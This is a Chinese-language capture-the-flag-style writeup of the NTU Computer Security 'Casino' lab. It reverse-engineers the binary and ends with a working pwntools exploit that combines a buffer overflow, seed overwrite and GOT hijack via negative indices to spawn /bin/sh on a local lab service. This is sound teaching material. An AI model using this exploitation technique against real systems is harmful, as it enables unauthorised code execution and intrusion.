NTU Computer Security by Yuawn - Casino Writeup

發布日期:2024/9/13

標籤: pwn writeup lab

摘要: 本文台大計算機安全課程中第一週作業 Casino 的 writeup,由於課程中並未示範此題解法 ,因此想寫一篇該題的 writeup 讓後續上此線上課程的同學可以參照解題思路。


課堂中說明此題的思路是利用任意寫入 .bss section 的漏洞覆寫掉 .bss section 中的 global offset table,造成 GOT 劫持覆寫成功後應用程式會執行到的 libc 函數 ,rip 暫存器就會參考 GOT 表跳轉到我們想要執行的區塊。

逆向分析

main 函數

先執行一次,隨意輸入,顯示進不去 casino 。

逆向一下執行檔 ,可以看到從 main+102 開始讀取一個整數 age ,main+119 到 main+122 將 age 和 0x13 (19) 做比較,如果 age 大於 0x13 就跳轉到 main+143 ,進入 casino 函數,反之會執行到 main+148 後 main 函數結束。

再執行一次,此次 age 輸入 20 ,成功進入 casino。

casino 函數

進入 casino 函數後,會有兩輪的樂透號碼輸入,每輪輸入 6 個數字,可以替換其中一個數字。

用 gdb 動態分析發現 casino+30 到 casino+97 中做了 6 次隨機數字生成樂透中獎好碼,儲存在 lottery 陣列。

casino+137 到 casino+202 之間,讀取了 6 次整數,儲存在 guess 陣列中。

casino+204 到 casino+234 對應到 casino 函數問使用者是否更改一個數字。

casino+236 到 casino+333 對應到 casino 函數讀取一個要更改的號碼和要更改的值,並且寫入 guess 陣列。

casino+355 到 casino+413 之間,比對 lottery 和 guess 兩個陣列。若其中有一個數字不一樣,則會跳轉到 casino+415 。若全部數字都一致,則會執行到 casino+393 到 casino+400 ,然後跳出迴圈函數結束。

casino+415 到 casino+426 比對區域變數 [rbp-0x10] 減去 1 後是否為 0,若是則跳轉到 casino+111,再讓使用者輸入一次六個號碼、替換一個數字與比對樂透號碼。由於這個程序只執行了兩次,判斷 [rbp+10] 初始值為 2。

走完了一次程式流程,接下來看看如何攻擊。

攻擊思路

先來看看此應用程式有哪些防護?

首先,這個程式沒有 NX 防護,所以若是有緩衝區溢位漏洞有機會可以寫入 shellcode ,然後控制 rip 暫存器跳轉到 shellcode 的位址執行,但是這個程式開了 CANARY 防護,所以無法單靠緩衝區溢位漏洞覆寫函數的 return address 來控制 rip 暫存器,需要搭配其他漏洞來控制 rip 暫存器。

另外,這個程式同樣也沒有開 PIE 防護,所以不用擔心 stack 與動態庫的位址隨機化。

緩衝區溢位

main+58 到 main+75 之間呼叫了 read ,將使用者的輸入寫入 name 字串,但是並沒有檢查輸入長度。

name 總共佔了 16 bytes 。

嘗試寫入超出 16 個字元的範圍,看看是否會溢位。

結果顯示可以成功溢位。

由於沒有 PIE 的關係,我們先假設我們可以將 shellcode 寫在 0x602110 這個固定的位置,等待 rip 暫存器跳轉過來。

GOT 劫持

我們已經可以用緩衝區溢位漏洞寫入 shellcode,課程影片中提示,這題是要用 GOT 劫持來控 rip 暫存器。

先查看 GOT 的位址,在 0x602000 。

再往下看可以看到, GOT 與變數 lottery 、 guess 、 name 和 seed 都在 .bss section 。

逆向分析 得知在寫入 name 後,還有兩種輸入一種是輸入 age ,另外一種是輸入 guess 陣列,且可以進行一次修改。

輸入 guess 陣列都是用 readint() 一次只讀取 4 bytes ,沒有複寫 GOT 的機會。

只能在修改一個數字時時動手腳,由於 GOT 的位址小於 guess ,因此我們嘗試使用負數的索引值,看能不能往 GOT 的方向覆寫。

結果成功覆寫往上覆寫,只要 offset 設定正確,就可以覆寫到 GOT 。雖然一次只能覆寫 4 bytes ,但是 casino 函數中給了我們兩輪輸入 guess 的機會,其中各有一次修改一個號碼。只需要善用兩次修改的機會覆寫掉我們目標的 libc 函數在 GOT 中的位置,就可以成功控制 rip 暫存器到 shellcode 的位置。

接下來我們尋找要劫持的 libc 函數,回到逆向分析,在執行兩輪 guess 陣列的輸入後,casino 函數會發生兩種處理。一種是 guess 和 lottery 比對成功,跳轉到 casino+393 。另外一種比對失敗,執行到函數結束。兩種結果都會呼叫 printf ,但是比對成功會在 casino+400 多呼叫一個 puts 。回到 main 函數後沒有呼叫其他 libc 函數,因此我們要劫持的 libc 函數就是 printf 和 puts 中其中一個。

printf 在第一次修改與第二次修改的過程中也被數次呼叫,所以如果強行覆寫 printf 的 GOT,會造成程式 crash 。

將目標放在 puts 函數,puts 函數在進入 casino 函數前,已經在 main 函數被呼叫過一次,因此 casino+400 中呼叫的 puts 已經是被 lazy binding 後的結果,不會再被 link 一次,因此可以放心劫持 puts 函數。

puts 函數在動態庫的位址為 0x00007ffff7a62970。

在 GOT 中的 0x602020 找到這個位址,與 guess 所在的 0x6020d0 相差 176 bytes ,修改一個整數只寫掉 4 bytes ,索引值應為 -176 ÷ 4 = -44 和 -43 。

又因為 cainso+263 對索引值 -1 ,所以輸入的索引值應當為 -42 和 -43 。

其他

接下來,我們應該煩惱怎麼讓 lottery 和 guess 比對成功,成功呼叫到 puts。其實也很簡單,由於在 name 被緩衝區溢位的時候,可以寫入變數 seed ,只要在緩衝區溢位同時,蓋過變數 seed ,讓其成為一個固定值,就可以讓初始的隨機種子固定,之後 casino 函數在隨機生成 lottery 陣列值時也會是固定的。

將 breakpoint 設定在 casino 函數的進入點動態執行,在讀取 seed 前,將其更改為 0 。

執行到 casino+99 ,六個隨機數都生成完成後,得到的陣列值為 [0x53,0x56,0x4d,0x0f,0x5d,0x23] 。我們需要在第二次輸入 guess 時,輸入這個陣列,才有辦法呼叫到 puts 。

攻擊程式

廢話不多說,exploit 程式碼上菜。

from pwn import *

context.arch = 'amd64'

conn = remote("127.0.0.1", 10172)

# name 緩衝區溢位
# b'\x00' * 0x20 蓋滿 name 和清零 seed
# asm(shellcraft.sh()) 接一個 /bin/sh shellcode 
conn.sendlineafter(":", b'\x00' * 0x20 + asm(shellcraft.sh()))

# 輸入 age ,大於 19 就行
conn.sendlineafter(":", "30")

# 第一輪隨便輸入 guess
for i in range(0,6):
    conn.sendlineafter(":", str(i))

# 寫入 puts 的 GOT 
conn.sendlineafter(":", '1')
conn.sendlineafter(":", '-42')
conn.sendlineafter(":", '0')

# lottery 值
rnd = [0x53,0x56,0x4d,0x0f,0x5d,0x23]

# 第二輪輸入正確的樂透號碼
for i in rnd:
    conn.sendlineafter(":", str(i))

# 寫入 puts 的 GOT 
conn.sendlineafter(":", '1')
conn.sendlineafter(":", '-43')
# shellcode 置放在 seed 變數後面
conn.sendlineafter(":", str(0x6020f0 + 0x20))

conn.interactive()

pwn 下這題,成功拿到 /bin/sh 。

目錄